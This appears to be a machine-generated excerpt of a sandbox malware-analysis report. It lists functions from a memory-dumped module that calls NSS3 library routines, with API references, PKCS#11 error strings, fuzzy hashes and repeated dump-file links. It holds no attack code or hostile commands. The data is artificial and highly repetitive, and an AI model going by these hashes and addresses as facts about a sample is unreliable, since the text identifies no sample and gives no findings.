Strings

`, xrefs: 6CCEC0B6

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 4243d1fae1a917291f80db17a088f6748d71e69ed82567e6dc407cf03cef42bb
Instruction ID: ca888c6bf9bfc933ef89b74d602671c635db9c8a2aafd98444da16c0d9637cf8
Opcode Fuzzy Hash: 4243d1fae1a917291f80db17a088f6748d71e69ed82567e6dc407cf03cef42bb
Instruction Fuzzy Hash: 5D926174A042498FDB15DF55C890BBEBBB2FF4A308F284168D815A7B91E735EC46CB50

Function 6CB83D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6CB83EA9

Strings

0, xrefs: 6CB83DAB

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: 314f578c775d6d4b1e9b48f3c8e3769b0493f2ba63da68a18d708a33247e9a70
Instruction ID: b51c95bfe145af2293acba9be935844016383cc443506f2dcae9a23d4ba98dee
Opcode Fuzzy Hash: 314f578c775d6d4b1e9b48f3c8e3769b0493f2ba63da68a18d708a33247e9a70
Instruction Fuzzy Hash: 73514A31E4A0F98AEB15467C88603FFFBB1DB42316F1D4329C5A567AC0D238454587F1

Function 6CC2EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC2F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CC2F0F9

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 3338f890ee71a5e840dc6b6a1a287e342a5c739c816d7d9726b228b2b32371c4
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: A3917075A0062A8FCB14CF69C8916AEB7F1FF85324F24472DD962A7BC0E734A905CB51

Function 6CC52F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6CC77929), ref: 6CC52FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6CC77929), ref: 6CC52FE0

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 1ae3fa0a6b71911d6c4bc263d44ed3d55eadd31d98ca5b9509053825c3d4d8b4
Instruction ID: f749f09a9a700d7f92a5fe3677652c64aa508470b5953a1aab015813c82bb6b1
Opcode Fuzzy Hash: 1ae3fa0a6b71911d6c4bc263d44ed3d55eadd31d98ca5b9509053825c3d4d8b4
Instruction Fuzzy Hash: 9451E571A04A218FD7108E5AC880B6A73B1FBC5318FAD4229D9099BB01F735E977CB95

Function 6CC70E20 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CC71052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CC71086

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: 8e99b2fa324439f9acdbf71da638e3ad3adc5b22c2d9a8b99995334404f73965
Instruction ID: b72dacf95d9a74323483e18dbda83066bbcdcfedcb49d0ff1886e0df2ad9aa74
Opcode Fuzzy Hash: 8e99b2fa324439f9acdbf71da638e3ad3adc5b22c2d9a8b99995334404f73965
Instruction Fuzzy Hash: C7A13F71B0125A9FDF18CF99C894AEEBBB6FF49314B148129E915A7700E735EC11CBA0

Function 6CB9AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CB9AE9F
winUnlock, xrefs: 6CB9AE18

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 0fd0e0c52c35c3355137ddc198387d37b9dea7c2e146ff3895a7cbfd4562ba47
Instruction ID: 184b6c2a0de3d3b767638b6e0cda23cfc346345cd785532d56dda2920e7e4fa2
Opcode Fuzzy Hash: 0fd0e0c52c35c3355137ddc198387d37b9dea7c2e146ff3895a7cbfd4562ba47
Instruction Fuzzy Hash: 857182706083409FEB04DF28D894A6ABBF9FF8A314F14C619FA8997651D730A985CBD1

Function 6CC5ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CC5EE3D

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: a2240c97195ebd77ee1dbd4adf08b2effd94bcb57c9a4cb8e529b63f36b4b252
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 9871F372E117018FD718CF5AC88076AB7F2BF88304F54462DD85697B91EB79E920CB94

Function 6CB85F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6CB86013

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: de501c605139ffb913588488c3f999801f905ba791fa3f33d96ee01dac58b145
Instruction ID: 916fa2e2794dce2f45f418ec5403ed8649e2d2a5e34178e924546fa59d9a3bc5
Opcode Fuzzy Hash: de501c605139ffb913588488c3f999801f905ba791fa3f33d96ee01dac58b145
Instruction Fuzzy Hash: D2C138B0B162C68BEF04CF19C4907AAB7B6EF45318F248158D996DBB42D730E845C796

Function 6CB94DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CB95125

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: 4fedef85fa430447d915355f1760e1e718313f15ecf031f3e660d0017e6eefd0
Instruction ID: 95c6a2946e46ba7e6e32f16743d99561642de286582923ef69e61bf58b5cfcde
Opcode Fuzzy Hash: 4fedef85fa430447d915355f1760e1e718313f15ecf031f3e660d0017e6eefd0
Instruction Fuzzy Hash: 37E15C70A083418FEB04EF29D48465ABBF4FF8A305F518A2DE99997750E734D985CF82

Function 6CD15E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6CD15B90: PR_Lock.NSS3(00010000,?,00000000,?,6CBFDF9B), ref: 6CD15B9E
Part of subcall function 6CD15B90: PR_Unlock.NSS3 ref: 6CD15BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6CD15E23,6CBFE154), ref: 6CD15EBF

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: a69cf5e9c264e35512715f0afbe93e0f159bd07833dc5ce2019570285f5a5a95
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 5E518BB2E0021A8FDB18CF59C8816AEF3F2FF88314B19456DD815B7755E734A941CBA0

Function 6CCCDCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfc81ceb941ce032b60440a1c5c739e87f4a0def0b69eb80c3c8685fc89d56aa
Instruction ID: f401ae8fe7898920ebe3f14474ae5b1111c5fd6d9dfb2eade42452b10b949100
Opcode Fuzzy Hash: dfc81ceb941ce032b60440a1c5c739e87f4a0def0b69eb80c3c8685fc89d56aa
Instruction Fuzzy Hash: BFF14B71B012058FDB08CF19D490BAA77B2BF89318F29416CD8199B751EB35ED42CBE2

Function 6CC61DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: c808b744097cb81a3265d82b60619cb8f700bbeb18350020ada78e692d85969c
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: C2D15632A086568BDB018E1EC9D83DA7763AB85329F1D4329CC645BBC2E37BD905C3D0

Function 6CBF8EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b81a53109a90e6774459e0d253398687f0411d699170bf5e0ba311e8388b426c
Instruction ID: 08cd9480299552aaffd270f3897e1838becc52b892c6128aaa2df6520134c34c
Opcode Fuzzy Hash: b81a53109a90e6774459e0d253398687f0411d699170bf5e0ba311e8388b426c
Instruction Fuzzy Hash: 3F119032A052558FEB04DF1AD88475AB3A5FF43318F04466AD9258FB41C776D88AC7D2

Function 6CCD0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf3bf428de4a577d5c8d70c385fd5f83103e52e2b06996c1b869ef0288bf682a
Instruction ID: 634f795537cb9d3a25803154782f06d21eb9e57dcca1f77009faa840c112bc99
Opcode Fuzzy Hash: bf3bf428de4a577d5c8d70c385fd5f83103e52e2b06996c1b869ef0288bf682a
Instruction Fuzzy Hash: E911CE74B043458FDB00DF2DD88066A7BA6FFC5368F14806DD9198B701EB71E806CBA2

Function 6CC43FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: e1ecd6cf30f572329911fa410fbd6aec1d3eb0d69b2588c0c6724a981f70e23b
Instruction ID: 8976743c794077c6af32f6c0fafb90377108a8e1cbc46c171df328145f9911af
Opcode Fuzzy Hash: e1ecd6cf30f572329911fa410fbd6aec1d3eb0d69b2588c0c6724a981f70e23b
Instruction Fuzzy Hash: 88F05E70A04B598BDB14DF68C45159AB7F8EF49254F109619ED89AB301EB30EAC4C7C1

Function 6CCD0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 3dc94bf9e5723d2fda5e13b37fc748a79e44e770734c03b94b8a10b10101887a
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: F5E06D3A202454A7DB148E0DD450AA97359EF81619FB680BACE599BA01E733F803C781

Function 6CBFCC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f1b9d71997814a736b998340ef54f58f031857388dd818097446c0d5e15287f
Instruction ID: af83a984550e829577645f4f253a17204c89da201f98b70c4ab663de07d7f2fe
Opcode Fuzzy Hash: 3f1b9d71997814a736b998340ef54f58f031857388dd818097446c0d5e15287f
Instruction Fuzzy Hash: 9AC04838248608CFC704DE09E4999A43BA8AB0AA10B040094EA428B721DA21F800CA90

Function 6CC31D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6CC31D46), ref: 6CC32345

Strings

CKR_DOMAIN_PARAMS_INVALID, xrefs: 6CC32015
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6CC322FF
CKR_DEVICE_MEMORY, xrefs: 6CC31FF3
CKR_PIN_INCORRECT, xrefs: 6CC31D92
CKR_RANDOM_NO_RNG, xrefs: 6CC322A7
CKR_FUNCTION_CANCELED, xrefs: 6CC31E73
CKR_NEXT_OTP, xrefs: 6CC3222F
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6CC3232E
CKR_OPERATION_CANCEL_FAILED, xrefs: 6CC31F77
CKR_MUTEX_NOT_LOCKED, xrefs: 6CC32225
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6CC32293, 6CC3233F
CKR_SAVED_STATE_INVALID, xrefs: 6CC31E56
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6CC31F8B
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6CC3218D
CKR_NEW_PIN_MODE, xrefs: 6CC31E9F
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6CC32327
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6CC3227F
CKR_OBJECT_HANDLE_INVALID, xrefs: 6CC3204D
CKR_SIGNATURE_INVALID, xrefs: 6CC320CF
CKR_DEVICE_REMOVED, xrefs: 6CC32261
CKR_SIGNATURE_LEN_RANGE, xrefs: 6CC320D9
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6CC31DE0
CKR_PIN_EXPIRED, xrefs: 6CC3206B
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6CC31FD7
CKR_TOKEN_NOT_PRESENT, xrefs: 6CC31F81
CKR_TEMPLATE_INCONSISTENT, xrefs: 6CC31EE1
CKR_INFORMATION_SENSITIVE, xrefs: 6CC322B1
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6CC3226B
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6CC32275
CKR_CURVE_NOT_SUPPORTED, xrefs: 6CC32179
rv = %s, xrefs: 6CC32340
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6CC31F0F
CKR_OK, xrefs: 6CC31DFC
CKR_PIN_LOCKED, xrefs: 6CC32075
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6CC32319
rv = 0x%x, xrefs: 6CC32312
CKR_FUNCTION_REJECTED, xrefs: 6CC32289
CKR_STATE_UNSAVEABLE, xrefs: 6CC32037
CKR_OPERATION_ACTIVE, xrefs: 6CC322B8
CKR_DEVICE_ERROR, xrefs: 6CC3229D
CKR_TEMPLATE_INCOMPLETE, xrefs: 6CC31F95
CKR_PIN_LEN_RANGE, xrefs: 6CC32061
CKR_MUTEX_BAD, xrefs: 6CC31F49
CKR_BUFFER_TOO_SMALL, xrefs: 6CC32183
CKR_WRAPPED_KEY_INVALID, xrefs: 6CC31FB5
CKR_PIN_INVALID, xrefs: 6CC32057
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6CC32320

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

